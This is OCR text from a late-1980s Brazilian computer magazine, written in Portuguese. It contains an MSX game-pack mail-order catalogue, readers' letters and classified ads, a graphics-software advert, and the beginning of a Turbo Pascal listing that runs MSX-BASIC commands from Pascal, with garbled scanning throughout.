KNIGHT, GANGMAN, MAZIAC, OILSWELLS, THE CASTLE 1, THE CASTLE 2, THEX.
DER, TRAILBLAZER, ULTRA CHESS, ZANAC 2. Pack 21: BEAM RIDER, GINKD
GOTO, PILL BOX, MUTANT MONTY, PINE APLINS, SCION, SHARK HUNTER,
ROCK'S BOLT, ZOOT. Pack 22: BASKET, CAT ADVENTURE, FOOT VOLLEY, GUAR.
DIAC, HAUNTED BOY, HYD LAD, 30 KNOCK QUT, NINJA 3, SPELLUNKER, ZaX-
XON. Pack 23: BASEBALL 2, BOMBER MAN SPEC, CANDOO NINJA, CHAMPION
BOX, CHECH MATE, CLAPTON 2, COSMOS EXPLORER, FORMATION Z, STARSOL-
DIER, TIME TRAX. Pack 24: 3D BOMBERMAN, AVENGER, BOKOSUKA WAR,
DART MASTER, DRAGON ATAK, MAYHEN, JACK NIPPERT 1, RAMBO 1, SECRET
MISS, SWEET ACORM. Pack 25 (56 Expert): BUZZOF, BOOGIE JUNGLE, KNIGHT
MARE, LODE RUNNER 2, JET BOMBER, HERQ, SUPER BILHAR, THE WRECK,
WARROID, DRUAGA. Pack 26: POPUL CYCLOPS, EPISODE 4 FERNAN BASKET,
FINDER KEEPERS, FROGGER 2, HUGH, JET FIGHTER, MACROS FIGHT, MUR-
DER. Pack 27: COLONY, ILLUSIONS, MIKI, MOON RIDER, SAFARI X, SHIP WARS,
SPOK & LADDERS, TETRA HORROR, TOPLE TIP, VESTRON. Pack 28: BEACH
HEAD, BOOM, CLUEDO, FRED AND BUE, JUMP LAND, MIDNIGHT BRO, MONO-
POLIO, MOSTER'S, SUPER MIND, VICIUS VIPER. Pack 28: NUTS MILK, COU-
RASADO PERSEUS, PHANTS 1, VIDEQ POKER 2, POLARIUS 2, HUSTLER,
ﬁ'BERT 2, RUNNER, SPACE SHUTLER, SKOOTER. Pack 30: DEUS EX MACH-
A, DIG DUS, INVASION, SPACE RESCUE, SPACE WALK, ROBOFROG, SAILORS
DELINIG, SIMBA SAFARI, SOUL OF ROBOT, WINTER GAMES 1. Pack 31: EURD-
PEAN GAMES, JOGO DO EXECUTIVO, FIGHT RIDER, FLY BOAT. FUZZBALL, HEI-
DI BALL, OBAKE, ORION, OUTROYD, RABEIAN. Pack 32: AGLUIA DE FOGO, AL
PHAROID, ASTRO PLUMMER, ATAK TOMATOES, BMX SIMULATIO, BREAK IN,
CAPITAIN CHEF, CAR RACE, SCENTIPEDE, CHOCK EGG. Pack 33: BRIAN JACK,

BRUCE LEE, BUNNIE, CHIMA CHIMA, CHOPPER, CHOST, DIP DIP, DREAM RUN-
NER, STAR WARZ, Q'BERT 1. Pack 34: CAMELOT WARZ, ELEVATOR ACTION, EN-
DURQ, FRUIT MACHINE, TIGER 1, TIGER 2, TIGER 3, TRAGA MANZANAS, Wa-
TER DRIVE, WINTER GAMES 2. Pack 35: ANTARES, ANTY, BMX REKENCROSS,
JACK X MR WID, HOPPER, RASTER SCAN, TERMINUS, VENGANZA, MAGICAL
BALL. SNOOKER OFICIAL Pack 36: AMIDA, COASTER RACE, 10 FRAME BOL,
HOWARD DUCH, INFERN MINER, INCA 1, PANIC JUNTION, PROTECTOR. SKY
HANK, SURVIVOR. Pack 37 DONKEY KONG, FIRST STEP, GODZILA, MEANING
LIFE, DIAMOND MINE 2, MOBILE PLANET, MOUSER, PACHINKO, POPULAR COM-
PUTER, JET SET WILLY 2. Pack 38: DANGER X4, DEMAND, FRONT LINE, ICIC
WORKS, KING OF BALLON, NONAMED, PAIRS, PINBALL, DISC WARRIOR, WAR
CHESS. Pack 39: G PRIX RIDER, HELITANK, ICE, INSPECTEUR Z, ITASUDORI-
DUS, KILLER STATION, RALLY X, SPIRITS, SUPER DOORS, TOPROL., Pack 40:
SETE EMEIO, DYNAMIT DAN, DORODON, FRUIT FRANK, FORMUILA INDY 1, KICK
IT, MANIC MINER, SPY vs 5P, SUPER TRIPER, WIZARD LAIR. Pack 41: DRO-
ME, LAST MISSION, LAZER BIKES, LELUCOCYTE, LIVING STONE, MAHJONG, MA-
ZES UNLIMITED, PAY LOAD, THE WALL, XETRA. Pack 42: COMET TAIL, COSA
NOSTRA, DENOMIA, DOMING, FAIRY, FRUIT PANIC, LASLUCE, BOLOGNAMILA-
NO, MISTER NO NILO, MR GOMOKO. Pack 43: ALPHA BLASTER, ARMY MOVES
2, CHICK FIGHT, EGGERLAND, HEAD OVER WELLS, M 47 MAZE ATTACK, PRO-
FANATION, RAIL WAY, COMANDO. Pack 44: ALCATRAZ, CLASS ADVENT. DRA-
CULA, EMERALD, RED MOON, MEAN STREET, PROAS PERIGO, PRICE MAGIC,
VIETNAN, ZAKIL WOOD, Pack 45: PLAZA DE TODOS, CAPLE, DAMAS 1, COS-
MOS TRAVALIER, CRUSADER, ELEPHANT MAPPY, GIRLS RAT'S, KAERU SHOU-
TER, KRYPTON, LETTER PUZZLE. Pack 46: AKERNAAK, BUG BUSTER, COLT
36, FLIGHT DECK, KIRIKI, MAC ATTACK, MOLE- MOLE 1, RED ZONE, SHOGI,
STRIF POKER. Pack 47 EURTR, FUTBOL OF THE YE, KUBUS, SUPER BOWL,
SUPER SOCCER, TACTION, CATABALAO, L-BOOT, YIEAR KLING FU 2, ZEXAS 1.
Pack 48: HERO-X, KNIGHT TIME, PANZER ATACK, PLATOON, COLOR BALL, SOR-
CERY, CASTELO NEGRO, OH NG, ZAPATA, SEA KING. Pack 49: AQUA POLIS, ATLE-
TICLAND 2, COMBAT, CRUNCH, CUB'S HERT, NIGHT FLIGHT, JUNGLE JIM, RO-
GER, NUCLEAR BOLDS, SASA. Pack 50: SLAPSH, MILK RACE, NICKER, O'MAC
FARMER, QUINIELA, COSMIC, EWORS, EXCHANGER, JUMP COASTER, MERLIM.
Pack 51: STAR QUAKER, RAMBO 2, ROTORS, STAR DUSTIN, ROAD FLIGHTER
2, CAR JAMBORE, GUNDAM, PUB, ACADEMY POLICY 2, MOON SWEEF Pack
52: ARQUIMEDES, PHANTS 2, TRAFIC, YAYAMA, POKER REAL, COME ON Pl
COT, ICE WORLD, ICE KING, KNIGHT, LODE RUNNER. Pack 53: TRIALSKY, ZAl-
DER, PENTAGRAM, CYRUS 2 {xadrez), FINAL JUSTIC, GOODY, LEONARDO, MA-
CADAM BUMPER, MOLE MOLE 2, BOLDER DASH 2. Pack 54: HE MAN, ALIEN
O RESGATE, MOV PACMAN, ACAD POLICY 2, WEST, LLTRAMAN, TIME BOMEER,
ARKANOID 2, SNAKEY, CETUS. Pack 55: VEGAS, ZEXAS 2, JACK T NIPPER 2,
BOUCING, MARTIANDIDS, SKY GALDO. RISE-OUT, SUPER SNAKER, BOILED,
PINK CHASE. Pack 56: KNIGHT LEON, LICHIMATA, GULKAVE, VINTEE UM_EL
CID, HIGHT WaY, SCARLET 7 STAR BLAZER, VOIDRU, WRANGLER. Pack 57 KEN-
DOS, DROIDS, TEMPTATIONS, CROWN, SPARKIE, 5TOP BALL, TANK BATTALHA,
DUSTIN, HYPER, GLASS. Pack 58: STAR BYTE, SPY STORY, SMALL JONES, BALL
BLAZER, ALPINE, COM-BLOT, SPACE CAMP GYRO ADVENTURE, CAVERNAS, MR
DO 2. Pack 59: PYRO, STAR FLIGHTER, BOING, SLOT MACHINE, SQUASH 1.
ZIN, WARP, AMITYVILLE, HELINAR, HANG-ON. Pack 60: YAHTZEE, FANKY
PUNCK, LEGENDARIOS, RETUR TO EDEN, JUMP QUICKIE, TRASH MAN, CHESS
TEACHER, BREAK OUT, EYE. Pack 61: FICTION, COBRA'S ARQ, VOLLEY BALL,
MAD MIX (Pacman), MANES, MOUSER, EAGLE, SQUASH 2, PLAY BALL, ESGRI-
MA. Pack 62 (Esportes): SOCCER KONAMI, PING-PONG, TENNIS; BASEBAL,
BILHAR, BASKET, VOLLEY BALL, G PRIX WORLD, OLIMPIADAS 2, HYPER
SPORTS 3. Pack 63 (Naves): GALAGA, STAR SOLDIER, ZANAC 1, STAR FORCE,
HYPER, ZANAC 2, COLUMEIA, BOSCONIAN, GULKAVE, PHANTS 1. Pack 64+
ADONIS, AMOTOS PUFF, BOPY, CONDE M CRISTO, FLICKY, KIMPO, MAGIC PIN-
BALL, POST MORTEM, ROMA, A MALDICAQ. Pack 65: CAVERN DEATH, GALA-
GA 2, JOQUEI, KNIGHT NINJA, POKER 3, SCOPEON, SHERLOCK HOLMES, THE
SPIRIT GAMES, UFO-AZ, WONDER BOY. Pack 66 (Labirinto): ALIEN 8, BATMAN,
BINARY & LAND, BOMBERMAN, THE CASTLE 1, CORRIDA MALLICA, THE CAS-
TLE 2, HEAD OVER WELLS, KNIGHT LORE, OH! SHIT.

Cada Pack: 9 BTNs ou individual 1 BTN.

COMO FUNCIONA: Vocé paga uma taxa tnica de inscrigdo no valor de 10 BTNs e séré sdcio do Club durante 6 meses. Nao
serd ! nem qual outra taxa o periodo acima. Como sécio do C5C, vocé tern um desconto
de 80% sobre os pregos dos pre iali t, além de pregos especiais na compra de disquetes.

peia Uni

0 CSC nao atende pedidos em fits cassete. @ ndo fazem parte do Club softs com direito de reserva e de crisgso Nacional,
As Promogbes da Universoft ndo valem para o C5C. Compare os pregos do seu Club.

Center
Soft

|

_—
Jogos 06 BTNs 0,12 BTNs
e Aplic/Util 0.8 BTNs 0,16 BTNs R
Jogos Tipo Super Packs 5,0 BTNs 1.00 BTN
- Super Jogos 50 BTNs 1,00 BTN R ———
Super Aplic./Utilitdrios B0 BTNs 1,60 BTNs
b . Educativos 0.8 BTNs 0.16 BTNs =i ——
Disquetes 5 1/id e 3 1/2 25e50BTNs 25e50BTNs
T Conhega o CSC — Center Soft Club, um servigo exclusivo da Redi- R T
Uini ft criado i para os drios de micros MSX.
P — —_—
= ~ REDI-UNIVERSOFT INFORMATICA LTDA, Venha para o CSC vocé também. Escreva em uma folha depapel: seunome e enderego completos. O tipo do seu equipamen-
_ T Rua Cons, Brotero, 589 — Conj. 42 to(drive, impressora, CPU etc.), escolha os Programa que ihe interessa na mesma folha. Anexe um cheque nominal e cruzado —e |
rEdI CEP 01154 — Santa Cacilia Sdo Paulo—SP «no valor do seu pedido + 10 BTNs relativas 8 sua inesrigio no Club e remeta para Redi-Uni ft. Ndo cob i
— s Telefone: (011) 825-5240 de correio, somente cobramos ¢ custo do disquete no valor de 2,5 BTNs. Pedidos minimos para comprar no Club é 4 BTNs.




Cartaaberta a todos osusuarios do TK
90X e similares: pessoal, gostaria de alertar a
todos para o fato de que o TK 90X esta mor-
rendo por culpa nossa. Acontece gue tem mui-
ta gente reclamando da falta de apoio, por parte
da MS, mas nao se lembram de colaborar com
arevista. S6 encontraremos matérias sobre o
nosso micro se nds as produzirmos. Além dis-
to, nao podemos nos isolar do mundo.

Precisamos manter contato com outros
usuarios do TK 90X para trocar idéias. Como?
Escrevendo para ca. Vamos |a, pessoal, expo-
nham suas duvidas, pecam socorro; divulguem
seu endereco.

Proponho que utilizemos as paginas de
MS para manter um contato nacional entre to-
dos os usuarios do TK 90X. Ao invés de fun-
dar dezenas de clubes, por que nao transfor-
mar a MS em nosso clube? Seria o clube com
mais socios do Brasil.

Quero aproveitar para pedir informa-
¢oes a respeito do uso do TK 90X no proces-
samento de textos. Quem tiver experiéncia
nessa aplicagao, por favor me escreva.
Gelson Dias Santos - Av. Bento Gongalves,
948/12 - Porto Alegre - RS - CEP: 90620

Adoro a revista Micro Sistemnas, tenho
a colecao inteira encadernada desde 1983.

saisse guinzenalmente, pois depois que termi-
no de ler, fico ansioso para que chegue logo a
outra.

Esta & aminha sugestao. e garanto que
a de muitos outros leitores.
Paulo Henrique da Costa Silva - SQN-308 - Blo-
co G - Apt. 502 - Brasilia - DF - 70747

Eu possuo um computador PC/XT e co-
mo todos programadores gosto de algumas ve-
7es parar e jogar Um pouco nNo meu computa-
dor, mas como tenho um pouco de experien-
cia, nao gosto de jogar no teclado, pois iSSo es-
traga 0 mesmo.

Foi ai que resolvi comprar um joystick.
Custou muito care, mas mesmo assim compre:
e hoje eu acho no mercado Muitos jogos es-
petaculares gue s0 usam o teclado. Nao digo
que 0s jogos s devam usar o joystick, mas os
dois.

Fica aqui o meu pedido aos programa-
dores que se dedicam a fazer jogos.

Marcio Belo R. da Silva - Rio de Janeiro - RJ

Atualmente eu assino, mas gostaria que esta |-

Gostaria de elogiar a equipe de MICRO
SISTEMAS pelo excelente trabalho que vem
sendo realizado pela revista. Possuo um Expert
transformado para 2.0, com a interface de dri-
ve instalada no interior do mesmo e controle
de boot do sistema (drive A ou B).

Me sinto entusiasmado com anuncios
como o do GRAPHOS lIl na pagina 20 de MS
87. Seria maravilhoso gue mais e mais progra-
madores apresentassem seus produtos des-
sa forma.

Espero que isso seja o comeco de edi-
¢oes como as das revistas estrangeiras: MSX
Magazine (japonesa), Byte. Color 64/128, etc,
e de um crescente mercado nacional de softs
como os adventures SERRA PELADA, AMAZO-
NIA, O CONDE DE MONTE CRISTO e outros tan-
tos games (O CASTELO NEGRO, HIGHLAND,
MONSTROS DA NOITE | e I1).

Concordo com o desabafo do leitor Car-

los em MS 86. S6 com o respeito & proprieda-
de do copywrite nacional o mercado interno po-
dera crescer.

Eu gostaria ainda de sugerir-a criacao
de duas MICRO SISTEMAS, uma so para 0 MSX
e uma segunda para outros computadores (pa-
ra que eles nao se sintam rejeitados e até por-
que assim abre-se um Novo espaco para eles).

Outrasugetao € que a PRO KIT facaum
aperfeicoamento do Emulador ZX81 e lance
um sistema que emule 0 TK 90X/TK 95. Isso
56 viria a melhorar o mercado interno do MSX
e do Spectrum com o inicio do intercambio di-
reto de programas entre os dois, pois a princi-
pio isso iria aumentar o nimero de usuarios do
Spectrum.

Fago umapelo aos N0ssos produtores:
vendam esses produtos inéditos na Europa. Is-
so ia ser demaisll

Estava lendo a MS n. 83 e vi no Clube
do Leitor a carta do MSX maniaco André Luiz
Ballista, e a de Pedro de Almeida C. Raposo, so-
bre a indignagao no caso do Hotbit preto. Se-
ra que nao foi suficiente o abandono da série
branca, e ainda resolvem fabricar mal a nova
versao?

Gostaria de saber 0 gue os fabricantes
(Sharp e Epcom) tém a dizer em sua defesa.
pois daqui a uns dias eles podem fazer Hotbit
amarelo. Gostaria gue houvesse maior consi-
deracao das fabricas para com 0s usuarios.
Emerson Gustavo Ramis - Caixa Postal 157 -
Taguara - RS - CEP: 95600

Li o artigo da MICRO SISTEMAS sobre
o LAPTOP e figuel mais uma vez decepciona-
do com a situagao atual em que se encontra
a informatica no Brasil. Tudo bem gue existam
empresas que se dedicam realmente a fazer
algo de novo ou pelo menos investem em pes-
guisas (como por exemplo a ITAUTEC), mas a
grande maioria dos fabricantes de equipamen-
tos brasileiros limita-se a copiar o gue ja existe.

Ja que s3o0 tdo bons copiadores, por que
nao copiam um micro como o SLT/286. Sera
gue o processador 80286 nao existe no Bra-
siI? Ou entao por gue nao posso adguirir um
micro desse tipo, ou mesmo um micro Toshi-
ba 1000, 1200, etc? Sera que algum dos “in-
teligentes” deputados gue sempre s€ mostram
tao informados dos assuntos gue votam, po-
deria me fazer a gentileza de dizer porque um
SLT/286 & igual aos 286 gue se comercializa
no pais? Me dizer em que, além da base de soft-
ware, esses dois micros se equivalem?

Acho que estd na hora de acordar. Na
hora de acabar com a mania de dizer que o que
vem de fora € equivalente ao que tem aqui. Se
fosse mesmo, por que sera que todo mundo
iria preferir um Toshiba a um micro “equivalen-
te” nacional? Ou um SLT/286 a um 286 "equi-
valente” nacional. Entdo eles nao sao
equivalentes.

Outro exemplo tipico € o caso do mu-
sico brasileiro. Sera que o Cesar Camargo Ma-
riano gostaria de tocar com um teclado nacio-
nal? Por que sera que as guitarras Fender e Gib-
son precisam entrar no pais através de contra-
bando? Sera qgue os instrumentos nacionais
sao iguais ou “equivalentes™?

Cesar Valmor Schneider - Nova Petropolis - RS

Envie sua correspondéncia para: ATl — Andlise,
Teleprocessamento e Informatica Editora Lida.,
Av. Presidente Wilson, 165gr. 1210, Centro, Rio
de Janeirg, RJ, CEP 20030, Secdo
CartagRedagdo MICRO SISTEMAS.
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informatica entr

PCI/XT/AT

impressoras, estabilizadores, formularios, discos, fitas, mesas.
Cibertécnica Informatica Ltda. — Rua Senador Dantas, 117 Gr. 1941 — Tel.: (021) 262-8249

e desenvolvimento
e instalacéao
e manutengao
e software
e treinamento
e yenda




Tenha a sua disposicdo
foda amagia
e sofisticacao
do Sistema
Grafico

A Paulisoft lanca com exclusividade, o mais completo Editor Grafico
ja produzido no Brasil, para usuarios de micros pessoais da familia MSX:
Sistema Grafico Aquarela. Desenvolvido com Padrdes Internacionais
de Qualidade € modernas técnicas de producio, o Sistema Grafico Aquarela
possibilita aos usuarios do MSX uma infinidade de recursos nunca antes
usados no Brasil. O Sistema Grafico Aquarela permite a vocé
criar suas proprias fontes e figuras com rapidez e qualidade.

Paulisoft, sindnimo de confianca no desenvolvimento
de softwares com tecnologia e precisao.

Operacao superfacilitada através de icones

* Recursos completos para edicao de e janelas. Pode ser usado com mouse, joys-
telas graficas com grande facilidade. tick ou cursor.
Copia grafica para impressoras em Completo manual ilustrado, suporte total e
-dois tamanhos e 4 tipos de selecao. garantia. Disponivel em disco 51/40u 31/2.
Programa 100% nacional com registro legal
na SEl.
: Direitos exclusivos de comercializacdo em
e Figuras prontas para vocé usar e ilus- todo o Brasil pertencentes a PAULISOFT
trar suas telas, Editor de Figuras para INFORMATICA LTDA.©88
vocé soltar a sua imaginacio. Autor: Luis Carlos B. Oliveira,
* Padrées variados para utilizagdo
: : et : - NOSSO PRODUTO EM
imediata ou edicao de padrées pro- 223233590953 HOSS0S
prios. HJ“: Rioggit (0521}5 26;—3?2_;5" Nerr;‘esi? {uzggz:izgéa?ggs- Insf%r-
i 1 i = telies (021) 751-5078 » Telelatch inf. (0 - L :
* Lapis variados com diversas espes- Misc (011) 34-8381  Filcril (011) 220-3833 * Softnew (011)
suras. . 266-2902 = ALS (016) 636-5379 » Microspend (011) 448-6288

* Data Market (0132) 35-7500 = Lima informatica (011) 203- I
6022 » PréEletrdnica (011) 223-6090 « DF: Hal Informatica I
(061} 248-4755 » MT: S O S Informatica (065) 323-2986 « CE:
Top-Data (085) 239-1618 » Sun Photo (085) 244-2308 » RS:

~ Prologos (0512) 22-5803

0
%3

» Caracteres em out-line, bold, som- lP/]II[)ILHSD'F]r

Zusis i bra, no tamanho 8x8 ou 16x16, inverte, NOVO ENDEREGO:

EERE: espelha e rotaciona os caracteres. Sao Rua Cel. Xavier de Toledo, 123

as s mais de 50 alfabetos disponiveis. Com- Conj. 31/32 CEP 01051 — Séo Paulo
S e pleto Editor de Caracteres para vocé (a 100 metros da estagédo

criar suas proprias fontes. Anhangabad do metrd)
Tel.: (011) 37-1814

FSIWA
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505 AOS LEITORES

Possuo o jogo CASTLE EXCELLENT e
nao consigo passar da primeira fase. Gostaria
de obter a rotina de vida eterna, indestrutibili-
dade, etc, para poder concluir o jogo. Posso
trocéa-la por programas e outras dicas.

Jorge Spindola - Caixa Postal 410 - Canoas -
RS - 92010

Sou estudante de eletronica e gostaria
de conseguir um esguema do cartucho MEGA-
RAM 256k para o MSX 1.1. Ofereco em troca
0 esquema completo de um expansor para 8
slots. Possuo também informacdes sobre inter-
faces e artigos sobre MSX (parte eletronica).
Luiz Carlos da Silva - Caixa Postal 13600 - Rio
de Janeiro - RJ - 20217

Sou estudante de processamento de
dados e leio regularmente esta conceituada re-
vista. Solicito enviar-me algumas informacoes
arespeito de microcomputadores: Como o Sis-
tema operacional UNIX controla e gerencia os
periféricos (drive. impressora. monitor, teclado.
etc)? Quantas versdes deste sistema estao dis-
poniveis no mercado nacional?

Mario Suzuki - R. Dario Veloso, 50 - Londrina
- PR - 86060

Desejo saber se 05 programas TAKE 1
& BLAZING PADDLES, da linha Apple, ja existem
para o MSX. Gostaria também de
corresponder-me com usuarios da linha MSX.

Carlos Augusto Silva de Carvalho - R. do Im-
pério, 385 - Santa Cruz - Rio de Janeiro - RJ -
23555

Possuo o adventure KNIGHTMARE ha
algum tempo e nao consigo sair da segunda
sala. Caso algum leitor saiba como sair dela.
por favor. escreva.

Jason Chaves Schmidt - R. Odilon Galotti, 263
- Capoeiras - Floriandpolis - SC - 88070

Sou usuano da linha MSX e gostaria de
saber onde encontrar as instrugoes do jogo
BATTLE FOR MIDWAY? Gostaria também de tro-
car programas e corresponder-me com leito-
res interessados na formacgao de um clube de
usuarios MSX.

Daniel Nakamura - R. Aibi. 180/21 - Sao Pau-
lo - SP - 05054

Atencao usuarios de PC! Participe gra-
tuitamente do PC-FRIENDS. Um clube sem fins
lucrativos onde voce vai conhecer dezenas de
usuarios PC e realizar trocas. Tudo gratuito, vale
a pena conferir
Caixa Postal 139 - Caruaru - PE - 55100

Como programador e diretor do OME-
GA MSX USERS GROUF, um novo clube de
usuarios MSX, venho através desta conceitua-
da revista relacionar os servigos prestados pelo
clube.

Antes de ser simplesmente mais um
clube para “micreiros’, 0 Omega prevé a inten-
siva participagac de seus associados. Trata-se
de um clube voltado para a producgao e divul-
gacao de produtos realmente nacionais, sejam
eles jogos efou aplicativos. Alem disso, progra-
madores poderao trocar suas experiéncias na
area usando o clube como interface. Se algum
autoriprogramador estiver interessado deve en-
trar em contato conosco,

0 OMEGA presta também os seguintes
Servigos:

- venda de manuais, mapas, dicas e ma-
cetes de jogos MSX. Aqui incluem-se 0s adven-
tures e arcades games. As dicas de imunida-
de e vidas infinitas constituem o forte deste
segmento. Disponivel para MSX 1 e 2, inclusi-
ve MEGARAM.

- digitacao de programas em Basic, LM
ou Assembler (neste caso, respeitando a logi-
ca do SIMPLE ASM). Disponivel, no momento,
em fita cassete (em breve para discos 5 1/47).

- Conversao de programas Basic. Inclui
a adaptagéo de programas Basic do ZX
81/SPECTRUM e IBM PC para o MSX.

-venda de apostilas técnicas para MSX.

0O clube nao vende programas piratea-
dos, apesar de comercializar dicas para eles.

NZo & necessario se filiar ao OMEGA pa-
ra dispor dos servicos acima, no entanto o as-
sociado ganha. alem do desconto, o boletim
mensal.

Os interessados em entrar para 0 OME-
(A, sejam programadores ou gamemaniacos,
basta entrar em contato enviando seus dados
completos e de seu equipamento. Sera reme-
tido um catalogo com informacoes detalhadas
dos servigos prestados. bem como precos. ins-
cricao, semestralidade. etc.

Correspondéncia para:
Fabio Lindner - OMEGA MSX USERS GROUP -
R. Demétrio Ribeiro, 815 - Vila Nova - Novo
Hamburgo - RS - 93520

Estou montando um clube de usuarios
MSX. Chega de atraso! Vamos nos unir e for-
mar uma associacao para utar por nossos di-
reitos. Os interessados devem escrever para:
Luiz Claudio G. Barbosa - R. Joaquina Rosa, 68
- Meier - Rio de Janeiro - RJ - 20710

Estou fundando o FALCON SOFT CLU-
BE a fim de satisfazer os usuarios TK 90X e TK
95. Para ser socio, mande seus dados e, se pos-
sivel, uma foto.
Joel José Simoes - R. llha da Figueira, 225 -
Sao Paulo - SP - 03720

Queremos trocar programas, dicas e
|fdéia5 com o pessoal da linha MSX (disco e
itas).
GATA'S CLUB e KPIOZ SOFTWARE - R. Amaral
Gurgel, 837 - Jan - SP - 17200
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Sou usuario de um Commodore AMIGA
500 e gostaria de entrar em contato com ou-
tros usuarios para troca de correspondéncia,
dicas e programas em geral.
Daniel de Melo Todeschi - R. Alves Pinto, 295
- Grajau - Belo horizonte - MG - 30430

Gostaria de corresponder-me com lei-
tores interessados em estudar e trocar idéias
sobre misica em Assembler parao TK 90X e
compativeis.

Rogério Amarilho - Agéncia ECT - Campo Bom
- RS - 93700

Compro IBM PC/XT, ou AT em configu-
ragdo simples (monitor de video, teclado e dri-
ve). Informagoes, catdlogos e tabelas de pre-
¢o, enviar correspondéncia para:

José Laurivan da Costa - R. Prefeito Inacio
Claudino, 78 - Soledade - PB - 58155 - Tel.
(083)383-1286

Possuo um TK 95 e gostaria de entrar
em contato com usudrios deste micro para tro-
ca de programas, dicas, etc.

Agenor Augusto Gomes - R. Bruno Veloso,
181/1002 - Boa Viagem - Recife - PE - 51020

Possuo um Expert MSX com drive 5 1/4”
e estou interessado em trocar programas, jo-
gos inéditos, etc.
Roberto Carlos Pires - R. Cabaxi, 274 - Sao Pau-
lo-SP- 05792

Sou usuario de IBM PC/XT e gostaria de
me corresponder com usuarios desse micro
para troca de programas, dicas, etc.

César Rogério da Silva - Av. Washington Luiz,
194/37 - Encruzilhada - Santos - SP - 11015

Troca meu Hotbit 1.2 (incluindo 25 jo-
gos em fita e um joystick profissional CCE) por
um Expert em 6timo estado. Maiores informa-
¢oes pelo telefone (061) 274-0432. Desejo
também de me corresponder com USUArios
MSX, pois sou iniciante nesta linha e gostaria
de trocar informagoes sobre periféricos, inter-
faces, suprimentos, softwares e jogos.

Paulo Henrique da Costa Silva- SQN 308, Blo-
co G, Apt.502 - Brasilia - DF - 70747

Possuo um MSX 1.1 comdrive 5 1/4” e
estou interessado em trocar programas, dicas
e informagdes com usuérios desta linha. Pos-
suo varios jogos MEGARAM além de dicas
inéditas.

Luciano Truite - R. Joaquim Nabuco, 166/21 -
Maringa - PR - 87013

Possuo um TK 95 e gostaria de trocar
programas e dicas com usuarios da linha ZX
Spectrum.

Valdomiro Sobrinho - Rod. Mario Andreazza,
Km 640 - Apui - AM - 69800

Tenho um Hotbit e umainfinidade de jo-
gos, aplicativos e utilitarios. Gostaria de trocar
programas, dicas para jogos, manuais, mapas,
etc.

Christian Martins - Caixa Postal 335 - Cambara
- PR - 86390

Possuo um TK 90X com vérios softwa-
res e gostaria de manter intercambio com
usuarios da area.

Marcos Barbosa Andrade - SQN 115, Bloco C,
Apt. 504 - Brasilia - DF - 70772

Gostaria de trocar manuais e aplicativos
com usuarios da linha ZX Spectrum.

Ricardo Viscardi - Caixa Postal 929 - Santos
-SP- 11001

Sou usuario de um Hotbit e gostaria de
trocar jogos e aplicativos com usuarios MSX.
Gostaria também de adquirir um monitor MSX
fosforo verde, usado. Os interessados devemn
entrar em contato com:

Wiison Icasatti - R. Dr. Boaventura, 831 - Rio
Brilhante - MS - 79130

Gostaria de trocar idéias, programas, jo-
gos e macetes para MSX, (em disco ou fita) sou
programador formado em IBM PC mas possuo
um MSX pelo qual sou fanatico. Gostaria de me
corresponder com qualquer pessoa que pos-
sua um MSX independentermnente de sua fai-
xa de idade pois tenho apenas 13 anos.
Daniel Pricoli Villela - R. Duque de Caxias,
1641 - Aracatuba - SP - 16100

Possuo Expert 1.1 e drive 5 1/4” dupla
face e gostaria de obter um compilador COBOL
comn LINK. Pago preco justo.

Willians Carlos de Albuguerque - Av. Vitoria ,
784 - Forte Sao Joao - Vitdria - ES - 29010

Compro com urgéncia uma interface
PSG (Processador de som) para TK 95 em 6ti-
mo estado de funcionamento. Tratar com:
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veira, 129 - Santo Antonio de Jesus - BA -
44570

Gostaria de me corresponder com
usuarios de micros da linha IBM PC/XT/AT, pa-
ra troca de programas, jogos, informacoes, etc.
Possuo dezenas de softwares disponiveis.
Elton Severo - R. Golda Meir, 33/311 - Jardim
Leopoldina - Porto Alegre - RS - 91300
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BAS.PAS

Alberto Romulo Nunes Campelo

Apesar das severas criticas que tem recebido de seus oposi-
tores, 0 BASIC € a Unica linguagem de programac&o que explora 0s
recursos do MSX. Isto se deve ao fato de que ela foi projetada espe-
cificamente para o seu hardware.

Mesmo que vocé seja um feliz usuario do Turbo-Pascal, a lin-
guagem gque sem duvida, na situagao atual, reline mais vantagens
em sistemas MSX, tais como: variaveis com escopo definido, sem
restricoes a duas letras em seu nome; estruturacdo por procedu-
res e functions; poderosas estruturas de controle; definicao de es-
truturas e de novos tipos de dados; operadores de baixo nivel: velo-
cidade (cerca de dez vezes mais rapido que a melhor versao de C
para MSXY); legibilidade; facilidades inerentes aos sistemas Turbo
(produzidos pela Borland Inc.); farta documentacao; ser mae das lin-
guagens de programacao procedurais do futuro e desenvolver bons
habitos de programacao, entre outras; certamente fica a insatisfa-
¢ao de ter que usar seu MSX como um simples sistema CPM pa-
drao, deixando de utilizar os recursos graficos, sonoros, interrupgoes
e todo o seu fantastico potencial.

Mas, e se fosse possivel unir as vantagens dos dois sistemas?
Maravilhoso, nao? Pois é exatamente isto que a procedure BAS.PAS
faz.

Talvez vocé ja tenha visto algo parecido, mas a semelhanca
resume-se ao objetivo. Os que ja vi, definiam uma procedure ou func-
tion para cada correspondente em MSX-BASIC e realizavam uma cha-
mada para a rotina de tratamento do comando na ROM, empregando
uma sintaxe confusa e complicada, ou gastando muita memoria e
sendo pouco abrangente.

_ A procedure BAS PAS realiza uma chamada a RONDA DE EXE-
CUCAO do interpretador BASIC, passando uma linha de comandos
em BASIC como argumento para ser interpretado. Como a RONDA
PRINCIPAL empilha seu proprio endereco no stack do Z-80, para que
ap6s cada comando executado o controle retorne para ela, é utili-
zado um gancho (hook) do sistema MSX-BASIC para desempilhar
este endereco quando for encontrado o final de uma linha de co-
mandos e retornar o controle ao programa principal.

A listagem da procedure BAS.PAS é apresentada, na integra,
na listagem 1. Digite-a e salve-a em um arquivo (include file) de no-
me BAS.PAS, ou outro gualquer & sua escolha. Quando precisar
utilizé-la introduza-a no inicio do programa principal através da di-

{ _________ e e e T T, S e e e }
{ BAS.PAS V. 2.3 ; Maio/89 %
{Autor: ALBERTO RAMULC NUNES CAMPELO }
{ Permite inserir e executar linhas }
{ de comandosz BASIC no interior de ¥
{ programas escritos em TURBO-PASCAL }
{

Iype STR255 = string [255];

Procedure bas{ macro STRIGE: Y
var calbas string[9] absolute $F6EF;
retbas stringl[5] absolute $FF23D;
arg : STR255 absolute $F55F ;
begin
calbas := #$DB + #$A8 + #$F5 + #$E6+
#3FO0 + #$C3 + #$8C + #$F3;
retbas := #$7E + #3$A7 + #$CO + #$F1;
arg := macro + #0 ;
inline
($21/$5F/$FS/ { LD HL,F55FH }

$DD/$21/873/%41/{ LD I¥X,4173H }
